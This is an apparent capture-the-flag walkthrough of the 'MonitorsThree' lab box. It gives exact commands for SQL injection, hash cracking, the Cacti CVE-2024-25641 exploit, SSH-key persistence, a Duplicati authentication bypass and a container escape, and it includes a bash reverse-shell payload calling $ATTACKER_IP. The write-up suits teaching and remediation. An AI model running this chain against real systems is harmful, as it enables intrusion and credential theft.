← all walkthroughs

MonitorsThree

Linux· Medium· Web
owned
2026-09-04
time to own
32m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped MonitorsThree's web surface to a Cacti-backed monitoring vhost and used a boolean-blind SQL injection in the password-reset form to dump the application's user table, cracking the admin hash to log into Cacti 1.2.26. A forged, self-signed package exploiting Cacti's package-import RCE flaw (CVE-2024-25641) planted a PHP web shell, giving code execution as www-data.

Cacti's own database configuration file exposed working MySQL credentials, which were used to dump and crack a local user's password hash, pivoting to a full shell as marcus and the user flag. From there, a root-owned Duplicati backup service bound to localhost was reached over SSH, its authentication was bypassed by reading the server's secret passphrase out of its local config database and forging the nonce-response login, and a malicious backup job was used to trigger a root-context script — because the Duplicati container had the entire host filesystem mounted at /source, this yielded root code execution and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceVirtual host enumeration / attack surface mapping
Discovered the real application behind a virtual-host redirect
A port scan of $TARGET found only SSH and HTTP exposed. The web root immediately redirected to the virtual host monitorsthree.htb, and vhost fuzzing uncovered a second, undocumented vhost — cacti.monitorsthree.htb — hosting Cacti 1.2.26, the actual monitoring backend behind the front-end login page.
HTTP 301 to http://monitorsthree.htb/; login page identified the app as 'MonitorsThree'; ffuf vhost fuzzing found cacti.monitorsthree.htb.
Exact commands 4
Confirm the exposed service set.
nmap -p22,80 -sV $TARGET
Resolve the discovered vhosts locally.
echo "$TARGET monitorsthree.htb cacti.monitorsthree.htb" | sudo tee -a /etc/hosts
Observe the redirect to the monitorsthree.htb vhost.
curl -ksS -L -D - http://$TARGET/
Fuzz for hidden vhosts on the same IP; reveals cacti.monitorsthree.htb.
ffuf -u "http://$TARGET/" -H 'Host: FUZZ.monitorsthree.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac
2Initial AccessSQL Injection (boolean-blind) — CWE-89
Extracted the admin credential via SQL injection in the password-reset form
The 'username' parameter of /forgot_password.php was vulnerable to boolean-blind SQL injection, allowing the entire application database — including the users table with password hashes — to be dumped without authentication. The admin account's MD5 hash was cracked offline to a plaintext password.
Exact commands 3
Reset.request is the captured POST to /forgot_password.php with username as the injection point; answer 'y' to follow redirects, 'n' to resending the POST — boolean-based is required, time-based is too slow here.
sqlmap -r reset.request --level 5 --risk 3 --dbms=mysql --technique=B --flush-session
Dump the users table once the injection is confirmed.
sqlmap -r reset.request --dbms=mysql --technique=B -D monitorsthree_db -T users --dump
Crack the admin MD5 hash recovered from the dump.
hashcat -m 0 -a 0 admin_hash.txt rockyou.txt
FixFix SQL injection in the password-reset formCritical
WeaknessThe /forgot_password.php 'username' parameter was concatenated directly into a SQL query, letting an unauthorised user use boolean-blind injection to dump the entire user table, including password hashes.
FixRewrite all database access to use parameterized queries / prepared statements (never string-concatenate user input into SQL). Add a web application firewall rule for common SQLi patterns as a compensating control, and rate-limit the password-reset endpoint.
3ExploitationCacti Package Import Arbitrary File Write / RCE — CVE-2024-25641
Executed code on the Cacti server via a forged package import (CVE-2024-25641)
Logging into Cacti 1.2.26 as admin exposed the Package Import feature, which trusts a public key embedded inside the uploaded package itself rather than a pre-registered signer. A package was forged and double-signed (both the inner file data and the whole XML) with me-generated keypair, packaging a PHP file that opens a reverse shell. Importing it wrote the payload directly into the web root, and requesting it executed code as the web server user.
Id returned uid=33(www-data) gid=33(www-data); shell working directory was ~/html/cacti/resource.
Exact commands 4
Start a listener before triggering the payload.
nc -lnvp 443
Public CVE-2024-25641 PoC generator; it double-signs the file data and the full XML and embeds the public key, then gzips it — signing order matters and is impractical by hand.
python3 cacti_2024_25641_poc.py -u admin -p '<cracked_password>' --url http://cacti.monitorsthree.htb/cacti/ --file resource/0xdf.php --php-payload "<?php system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1\"'); ?>" --output payload.xml.gz
Writes resource/0xdf.php into the Cacti web root.
# In the Cacti UI: Import/Export > Import Packages, upload payload.xml.gz
Trigger the planted PHP; catches a www-data shell on the listener.
curl http://cacti.monitorsthree.htb/cacti/resource/0xdf.php
FixPatch Cacti and lock down package importCritical
WeaknessCacti 1.2.26 trusts a public key embedded in the imported package itself instead of a pre-registered signer, so any self-signed package passes signature validation and can write arbitrary PHP files into the web root.
FixUpgrade Cacti to a version that fixes CVE-2024-25641 (1.2.27+). Restrict the Package Import feature to a small trusted admin group, require packages be signed by a key pinned in Cacti's configuration (not embedded in the package), and disable PHP execution in writable upload directories.
4Credential AccessCredentials in Files (T1552.001) + offline password cracking
Read Cacti's database credentials and cracked a local user's password hash
As www-data, Cacti's configuration file disclosed the working MySQL credentials [REDACTED: recovered credential][REDACTED: recovered credential] Querying Cacti's own user_auth table for the local admin user 'marcus' returned a bcrypt hash, which cracked to a weak, sequential password. That password worked directly for a shell as marcus.
Mysql query returned marcus's bcrypt hash; su - marcus succeeded with the cracked password; id returned uid=1000(marcus).
Exact commands 4
Run from the www-data shell using the DB creds found in Cacti's include/config.php.
mysql -u $PASSWORD4 -p$PASSWORD4 cacti -e "SELECT username,password FROM user_auth WHERE username='marcus'"
Crack the bcrypt hash; recovers a weak numeric password.
hashcat -m 3200 marcus_hash.txt rockyou.txt
Switch to marcus with the recovered password.
su - marcus
Read the user flag; value redacted here as <user.txt>.
cat /home/marcus/user.txt
FixEnforce strong, unique passwords for application and OS accountsHigh
WeaknessBoth the Cacti admin password and the local user marcus's password were weak enough to crack quickly offline (a dictionary word variant and a sequential numeric string respectively), and the Cacti database used its default credentials ([REDACTED: recovered credential][REDACTED: recovered credential]).
FixEnforce a password policy (length, complexity, deny common/sequential patterns) for all application and OS accounts, rotate the Cacti database credentials away from defaults, and enable MFA for privileged web logins where supported.
5PersistenceSSH Authorized Keys persistence (T1098.004)
Planted an SSH key for stable access as marcus
To avoid relying on the fragile su session, an SSH keypair was generated and the public key appended to marcus's authorized_keys file from the existing shell, enabling direct SSH login as marcus going forward.
Subsequent access used ssh marcus@$TARGET directly.
Exact commands 3
Generate my keypair locally.
ssh-keygen -q -t ed25519 -N '' -f ./marcus_key
Append my public key from the existing su session.
su - marcus -c "mkdir -p ~/.ssh && chmod 700 ~/.ssh && printf '%s\n' '<attacker_pubkey>' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"
Confirm passwordless SSH access as marcus.
ssh -i ./marcus_key marcus@$TARGET id
6DiscoveryLocal service and process discovery
Found a root-owned backup service reachable only from localhost
Listing listening sockets as marcus showed a service on port 8084 bound only to loopback, alongside MySQL. Filesystem checks identified it as Duplicati, a backup manager, running with root privileges.
Ss -lnt showed LISTEN 0.0.0.0:8084 was actually loopback-only for external access; files matched Duplicati under /opt/duplicati.
Exact commands 3
Enumerate local listeners; reveals 127.0.0.1:8084 alongside MySQL on 3306.
ssh -i ./marcus_key marcus@$TARGET ss -lnt
Confirm the service is Duplicati.
ssh -i ./marcus_key marcus@$TARGET "find /opt/duplicati /usr/share -maxdepth 5 -type f \( -name '*.js' -o -name '*.html' \) 2>/dev/null | grep -i duplicati"
Tunnel the filtered port to the local machine for direct access.
ssh -L 8084:127.0.0.1:8084 -i ./marcus_key marcus@$TARGET
7Privilege EscalationDuplicati authentication bypass via disclosed server passphrase (T1552.001 / T1556)
Bypassed Duplicati authentication by forging its nonce-based login
Duplicati's server-side secret ('server passphrase') was stored, base64-encoded, in a locally readable SQLite configuration database. Duplicati's login flow accepts a nonce-hashed password computed from that passphrase, so decoding the passphrase to its raw bytes and hashing it against a fetched login nonce produced a valid session without ever knowing the real admin password.
NONCE_RESPONSE and LOGIN 200 exchange returned a valid session-auth cookie without a real credential.
Exact commands 4
Recover the base64 server-passphrase and salt.
ssh -i ./marcus_key marcus@$TARGET "sqlite3 /opt/duplicati/config/Duplicati-server.sqlite \"SELECT Name,Value FROM Option WHERE Name LIKE 'server-passphrase%'\""
Fetch a fresh login nonce and salt.
curl -s 'http://127.0.0.1:8084/login.cgi?get-nonce=1'
Compute noncedpwd = base64(SHA256(base64decode(nonce) + hex(base64decode(passphrase)))) — the passphrase must be hex-encoded after base64-decoding, not hashed as base64 text, or the login fails.
python3 dup_auth_bypass.py --nonce '<nonce>' --passphrase '<b64_passphrase>'
Submit the forged noncedpwd to authenticate as the Duplicati admin.
curl -s -X POST 'http://127.0.0.1:8084/login.cgi' --data 'password=<noncedpwd>'
FixProtect the Duplicati server passphrase and restrict accessCritical
WeaknessDuplicati's server-side authentication secret was stored in a locally readable SQLite database, and its nonce-based login could be forged from that secret alone, allowing any local user to authenticate as the Duplicati admin without knowing a real password.
FixRestrict filesystem permissions on Duplicati's configuration database to the service account only, rotate the server passphrase, bind the Duplicati web UI to localhost with an additional reverse-proxy authentication layer, and upgrade to the latest Duplicati release.
8Full ControlBackup-agent script-hook abuse combined with container-to-host filesystem mount (T1611 — Escape to Host)
Ran a root-context backup hook to execute code on the host and read root.txt
The authenticated Duplicati instance ran inside a container with the entire host root filesystem bind-mounted at /source. An existing backup job's template was cloned to add a run-script-before hook pointing at my own shell script staged under /dev/shm, and running the job executed that script with Duplicati's root privileges — effectively root code execution on the host.
TEMPLATE Cacti 1.2.26 Backup job cloned; /dev/shm/x.sh staged mode 755; /source/root/root.txt read as root.
Exact commands 3
Stage the payload script where the Duplicati container can see it.
cp x.sh /dev/shm/x.sh && chmod 755 /dev/shm/x.sh
Clone the existing backup job, attach the malicious pre-run script hook, and trigger it via Duplicati's REST API.
python3 dup_exploit.py --session '<session-auth-cookie>' --xsrf '<xsrf-token>' --template 'Cacti 1.2.26 Backup' --run-script-before /dev/shm/x.sh --run
Read the root flag through the host mount exposed inside the container; value redacted here as <root.txt>.
ssh -i ./marcus_key marcus@$TARGET cat /source/root/root.txt
FixStop running the backup agent as root with the host filesystem mounted inCritical
WeaknessThe Duplicati container ran as root and had the entire host root filesystem bind-mounted at /source, so any code-execution primitive inside Duplicati (such as its run-script-before backup hook) translated directly into root command execution on the host.
FixRun Duplicati as an unprivileged, dedicated service account; mount only the specific directories that need backing up (read-only where possible) instead of the entire host root; and disable or tightly restrict the run-script-before/after hook feature for backup jobs that don't require it.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp